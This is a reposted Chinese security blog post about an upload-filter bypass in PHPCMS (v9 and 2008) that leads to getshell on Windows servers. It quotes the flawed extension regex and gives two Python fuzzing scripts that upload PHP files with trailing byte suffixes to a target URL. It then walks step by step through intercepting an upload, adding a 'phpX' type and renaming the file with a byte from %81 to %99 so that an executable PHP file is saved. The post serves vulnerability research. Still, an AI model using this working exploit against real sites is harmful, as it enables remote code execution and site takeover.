通杀getshell——PHPCMS全版本(前台)
这里的全版本是指:最新v9.5.6 + v9 others +phpcms 2008 + ..
这个漏洞在Windows下和Linux下利用方法不一样,鉴于 @phpcms (省略10000字),都懂的..
这里我只给出Windows的利用方法(Linux的利用涉及另一个漏洞,暂不公开)
Tips:这个洞在我手里已经有很长一段时间了,主要目的是分享里面涉及的思路.
#1漏洞文件及相应的代码
/phpcms/libs/classes/attachment.class.php
/phpcms/modules/attachment/attachments.php
造成漏洞的代码(只贴最重要的)
$aids = $attachment->upload('Filedata',$_POST['filetype_post'],'','',array($_POST['thumb_width'],$_POST['thumb_height']),$_POST['watermark_enable']); //... foreach($uploadfiles as $k=>$file) { $fileext = fileext($file['name']); if($file['error'] != 0) { $this->error = $file['error']; return false; } if(!preg_match("/^(".$this->alowexts.")$/", $fileext)) { $this->error = '10'; return false; } if($this->maxsize && $file['size'] > $this->maxsize) { $this->error = '11'; return false; } if(!$this->isuploadedfile($file['tmp_name'])) { $this->error = '12'; return false; } $temp_filename = $this->getname($fileext); $savefile = $this->savepath.$temp_filename; $savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile); $filepath = preg_replace(new_addslashes("|^".$this->upload_root."|"), "", $savefile); //.. }
从上面的代码,可以看出上传的文件类型是我们可以控制的,$_POST['filetype_post'] post提交的,于是我们貌似就可以直接上传php类型的文件,是不是呢? 显然不是,接下来的这行代码限制了我们上传的文件格式
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
很明显,只要文件类似test.php,test.php.php经过此代码后,均会被修改为test._php,test._php._php,显然不是我们想要的结果,我们来分析分析 这个正则替换(这里我们简化下)..
preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);
正则的意思是字符串中查找以php结尾或包含"php."的字符串,找到就将之加上相应的下划线替换掉,这个正则表面上看起来似乎没有什么问题,但是仔细想想呢,还是有问题的..
倘若我们上传的文件后缀为".phpX"(这里的"X"表示某一特殊字符),则绕过了这个正则,而恰巧".phpX"可以解析为php(如php3,php4,当然这里这两个不行),或.phpX经过后面函数或程序代码的处理,或利用系统的特性、PHP的特性等,将这个特殊字符处理掉,那不就ok了,下面就来测试这两种情况..
#2 测试用的伪代码
为了更好的测试,我这里简化了代码,更改为如下
<?php if(isset($_POST['submit'])){ $savefile = $_FILES['file']['name']; $tempfile = $_FILES['file']['tmp_name']; $savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php $savefile = 'upload/'.$savefile; if(upload($tempfile,$savefile,true)){//copy & move_uploaded_file exit('Success upload,path is:'.$savefile."<br>"); } } function upload($src,$dst,$mode=false){ if($mode){ if(@copy($src,$dst)){ return true; } }else{ if(@move_uploaded_file($src,$dst)){ return true; } } return false; } ?> <html> <body> <form method="post" action="copy.php" enctype="multipart/form-data"> <input type="file" name="file" value="1111"/> <input type="submit" name="submit" value="upload"/> </form> </body> </html>
#3 思路一:测试除了php3、php4,还有没有其他的后缀可以解析为php
Fuzzing 测试代码1如下(py)
import sys import time import random import urllib import urllib2 def randstr(num): sts = '' char = '1234567890abcdexyz' for i in range(num): sts += random.choice(char) return sts def setfile(fname,fstr): try: fp = open(fname,'a+') fp.write(fstr) fp.close() return True except: return False def hex_to_ascii(ch): return '{:c}'.format(int(float.fromhex(ch))) if __name__=="__main__": mfile = [] url = sys.argv[1] if 'http://' not in url: url = 'http://%s' % url fstr = '<?php\r\nphpinfo();\r\n?>' for i in range(256): s = '%02d' % i randnum = randstr(8) fname = 'uploads/(%s)%s.php'%(i,randnum) print '[+] Writing file %s ..'%fname shex = hex_to_ascii(s) fname = '%s%s'%(fname,shex) flag = setfile(fname,fstr) if flag: fname1=fname.decode('gbk', 'replace') fname1 = urllib.quote(fname1.encode('GB2312', 'replace')) u = '%s/%s'%(url,fname1) try: h = urllib2.urlopen(u) res = h.read() if 'DOCTYPE' in res: mfile.append(fname) except: pass print '\r\n[+] The result is:' for uu in mfile: print uu
该程序在本地跑起来,效果如图.
可以看出,在Windows环境下,只有php3可以解析为php(Kali Linux测试php5可以解析为php),由于.php3会被转换为._php3,所以这个思路行不通..
#4 思路二:有没有可能将特殊字符串"X"干掉
Fuzzing 测试代码2如下(py)
#by felixk3y .. import sys import random import urllib2 def hex_to_ascii(ch): return '{:c}'.format(int(float.fromhex(ch))) def randstr(num): sts = '' char = '1234567890abcdexyz' for i in range(num): sts += random.choice(char) return sts def postdata(mHex,sname): data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' data += 'Content-Disposition: form-data; name="file"; filename="%s.php%s"\r\n' % (sname,mHex) data += 'Content-Type: application/octet-stream\r\n\r\n' data += '<?php phpinfo();?>\r\n' data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n' data += 'Content-Disposition: form-data; name="submit"\r\n\r\n' data += 'upload\r\n' data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n' return data def Fuzzing(mstr,url): posturl='%s/upload/copy.php' % url headers = { 'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)', 'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9' } sname = '%s-%s' % (mstr,randstr(8)) sHex = hex_to_ascii(mstr) posts = postdata(sHex,sname) request = urllib2.Request(posturl,posts,headers) response = urllib2.urlopen(request) htmls = response.read() response.close() if __name__=="__main__": url = sys.argv[1] if 'http://' not in url: url = 'http://%s' % url for i in range(256): print '[+] %d ' % i #time.sleep(2) if i==20:continue s = '%02d' % i Fuzzing(s,url)
同样,该程序在本地跑起来,效果如图..
D:\>Fuzzing_phpcms_upload.py www.vuln.org
文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉..
该特性雷同Windows下对"."和" "(空格)的忽略。
#5 测试phpcms
好,由于经过上面的Fuzzing知道,只要文件名为".phpX"(X表示%81-%99),就可以生成绕过正则生成".php",成功getshell..
首先在网站后台进行如下的设置..
1.内容 > 管理栏目 > 设置投稿 (允许)
2.用户 > 会员组管理 > 管理会员组 > 设置是否允许上传附件(允许上传)
随便上传一个jpg文件(这里是显示phpinfo信息),抓包 修改,如图:
这里有两处需要修改:
jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf
//后面添加phpX
Content-Disposition: form-data; name="Filedata"; filename="11.jpg"
//上面的11.jpg修改为phpX
这里X为%81-%99
点击Forward即可在 /phpcms/uploadfile/2014/0530/ 目录下生成php文件,如图
就到这里了,至于phpcms 2008 getshell的方法与之类似,不再阐述
转自:http://www.2cto.com/Article/201407/313605.html